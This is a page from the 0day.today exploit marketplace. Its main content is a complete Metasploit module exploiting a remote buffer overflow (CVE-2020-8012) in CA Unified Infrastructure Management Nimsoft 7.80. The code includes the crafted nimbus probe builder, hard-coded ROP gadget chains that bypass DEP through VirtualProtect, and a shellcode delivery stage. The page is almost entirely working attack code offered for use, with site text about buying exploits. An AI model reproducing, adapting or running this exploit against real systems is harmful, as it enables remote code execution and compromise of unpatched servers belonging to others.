0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list probe. Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the directory_list probe. }, 'License' => MSF_LICENSE, 'Author' => [ 'wetw0rk' # Vulnerability Discovery and Metasploit module ], 'References' => [ [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors) [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ], [ 'PACKETSTORM', '156577' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'AUTORUNSCRIPT' => 'post/windows/manage/migrate' }, 'Payload' => { 'Space' => 2000, 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Targets' => [ [ 'Windows Universal (x64) - v7.80.3132', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]', 'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe] } ], ], 'Privileged' => true, 'Notes' => { 'Stability' => [ CRASH_SAFE ] }, 'DisclosureDate' => 'Feb 05 2020', 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']), Opt::RPORT(48000), ] ) end # check: there are only two prerequisites to getting code execution. The version number # and access to the directory_list probe. The easiest way to get this information is to # ask nicely ;) def check connect sock.put(generate_probe('get_info', ['interfaces=0'])) response = sock.get_once(4096) list_check = -1 begin if target['Version'].in? response print_status("Version #{target['Version']} detected, sending directory_list probe") sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1'])) list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY']) end ensure disconnect end if list_check == 0 return CheckCode::Appears else return CheckCode::Safe end end def exploit super connect shellcode = make_nops(500) shellcode << payload.encoded offset = rand_text_alphanumeric(1000) offset += "\x0f" * 33 heap_flip = [target.ret].pack('<Q*') alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain rop_chain = generate_rsp_chain # Stage1: Stack alignment rop_chain += rand_text_alphanumeric(631) # Adjust for second stage rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail rop_chain.length )) rop_chain += "kernel32.dll\x00" rop_chain += "VirtualProtect\x00" trigger = "\x10" * (8000 - ( offset.length + heap_flip.length + alignment.length + rop_chain.length + shellcode.length ) ) buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger exploit_packet = generate_probe( 'directory_list', ["directory=#{buffer}"] ) sock.put(exploit_packet) disconnect end # generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes # otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned. def generate_rsp_chain rop_gadgets = [0x0000000140018c42] * 20 # ret rop_gadgets += [ 0x0000000140002ef6, # pop rax ; ret 0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400af237, # pop rdi ; ret 0x0000000000000007, # alignment for rsp 0x0000000140025dab ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret return rop_gadgets.pack('<Q*') end # generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, # and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution. # Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's. def generate_rop_chain # RAX -> HMODULE GetModuleHandleA( # ( RCX == *module ) LPCSTR lpModuleName, # ); rop_gadgets = [0x0000000140018c42] * 15 # ret rop_gadgets += [ 0x0000000140002ef6, # pop rax ; ret 0x0000000000000000, # (zero out rax) 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000 ] # rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [ 0x0000000140131643, # pop rcx ; ret 0x00000000000009dd, # offset to "kernel32.dll" 0x000000014006d8d8 ] # add rax, rcx ; add rsp, 0x38 ; ret rop_gadgets += [0x0000000140018c42] * 15 # ret rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret rop_gadgets += [ 0x0000000140002ef6, # pop rax ; ret 0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20) 0x00000001400d1161 ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret rop_gadgets += [0x0000000140018c42] * 17 # ret # RAX -> FARPROC GetProcAddressStub( # ( RCX == &addr ) HMODULE hModule, # ( RDX == *module ) lpProcName # ); rop_gadgets += [ 0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 0x0000000140002ef6, # pop rax ; ret 0x0000000000000000, # (zero out rax) 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000 ] # rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [ 0x0000000140131643, # pop rcx ; ret 0x0000000000000812, # offset to "virtualprotectstub" 0x000000014006d8d8 ] # add rax, rcx ; add rsp, 0x38 ; ret rop_gadgets += [0x0000000140018c42] * 15 # ret rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40] # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret rop_gadgets += [ 0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000 ] # rop_gadgets += [0x0000000140018c42] * 6 # ret rop_gadgets += [ 0x0000000140002ef6, # pop rax ; ret 0x000000014015e318 ] # GetProcAddressStub (0x00000000014015e338-20) rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret rop_gadgets += [0x0000000140018c42] * 17 # ret # RAX -> BOOL VirtualProtectStub( # ( RCX == *shellcode ) LPVOID lpAddress, # ( RDX == len(shellcode) ) SIZE_T dwSize, # ( R8 == 0x0000000000000040 ) DWORD flNewProtect, # ( R9 == *writeable location ) PDWORD lpflOldProtect, # ); rop_gadgets += [ 0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 0x000000014013d651, # pop r12 ; ret 0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400eba74 ] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [ 0x0000000140002ef6, # pop rax ; ret 0x0000000000000000 ] rop_gadgets += [ 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000 ] # rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [ 0x0000000140131643, # pop rcx ; ret 0x000000000000059f, # (offset to *shellcode) 0x000000014006d8d8 ] # add rax, rcx ; add rsp, 0x38 ; ret rop_gadgets += [0x0000000140018c42] * 15 # ret rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret rop_gadgets += [ 0x00000001400496a2, # pop rdx ; ret 0x00000000000005dc ] # dwSize rop_gadgets += [ 0x00000001400bc39c, # pop r8 ; ret 0x0000000000000040 ] # flNewProtect rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) rop_gadgets += [0x0000000140018c42] * 17 # ret rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] # mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret rop_gadgets += [0x0000000140018c42] * 20 # ret rop_gadgets += [ 0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 0x0000000000000000, # (zero out rax) 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000, # 0x0000000000000000 ] # rop_gadgets += [0x0000000140018c42] * 10 # ret rop_gadgets += [ 0x0000000140131643, # pop rcx ; ret 0x0000000000000317, # (offset to our shellcode) 0x000000014006d8d8 ] # add rax, rcx ; add rsp, 0x38 ; ret rop_gadgets += [0x0000000140018c42] * 15 # ret rop_gadgets += [0x00000001400a9747] # jmp rax rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove) return rop_gadgets.pack('<Q*') end # parse_listing: once the directory_list probe is sent we're returned a directory listing # unfortunately it's hard to read this simply "decodes" it def parse_listing(response, directory) result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' } i = 0 begin dirlist = response.split('\x00')[0].split("\x00") index = dirlist.index('entry') + 3 final = dirlist[index..-1] rescue StandardError print_error('Failed to gather directory listing') return -1 end print_line("\n Directory of #{directory}\n") check = 0 name = 0 ftime = 0 size = 0 ftype = 0 while i < final.length if name == 1 unless final[i].to_i > 0 result['name'] = final[i] name = 0 check += 1 end end if size >= 1 if size == 3 result['size'] = final[i] size = 0 check += 1 else size += 1 end end if ftype >= 1 if ftype == 3 result['type'] = final[i] ftype = 0 check += 1 else ftype += 1 end end if ftime >= 1 if ftime == 3 result['date'] = final[i] ftime = 0 check += 1 else ftime += 1 end end if final[i].include? 'name' name = 1 end if final[i].include? 'size' size = 1 end if final[i].include? 'size' ftype = 1 end if final[i].include? 'last_modified' ftime = 1 end i += 1 next unless check == 4 if result['type'] == '2' result['type'] = '' else result['type'] = '<DIR>' result['size'] = '' end begin time = Time.at(result['date'].to_i) timestamp = time.strftime('%m/%d/%Y %I:%M %p') rescue StandardError timestamp = '??/??/???? ??:?? ??' end print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name'])) check = 0 end print_line('') return 0 end # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially # craft probes in order for the controller to accept any input. def generate_probe(probe, args) client = "#{rand_text_alphanumeric(14)}\x00" packet_args = '' probe += "\x00" for arg in args c = '' i = 0 while c != '=' c = arg[i] i += 1 end packet_args << "#{arg[0, (i - 1)]}\x00" packet_args << "1\x00#{arg[i..-1].length + 1}\x00" packet_args << "#{arg[i..-1]}\x00" end packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args) packet_body = "mtype\x00" # mtype packet_body << "7\x004\x00100\x00" # 7.4.100 packet_body << "cmd\x00" # cmd packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe) packet_body << probe # probe packet_body << "seq\x00" # seq packet_body << "1\x002\x000\x00" # 1.2.0 packet_body << "ts\x00" # ts packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME) packet_body << "frm\x00" # frm packet_body << "7\x00#{client.length}\x00" # 7.(length of client) packet_body << client # client address packet_body << "tout\x00" # tout packet_body << "1\x004\x00180\x00" # 1.4.180 packet_body << "addr\x00" # addr packet_body << "7\x000\x00" # 7.0 # # probe packet arguments (dynamic) # argument # length of arg value # argument value packet_header << "#{packet_body.length} #{packet_args.length}\r\n" probe = packet_header + packet_body + packet_args return probe end end # 0day.today [2024-11-16] #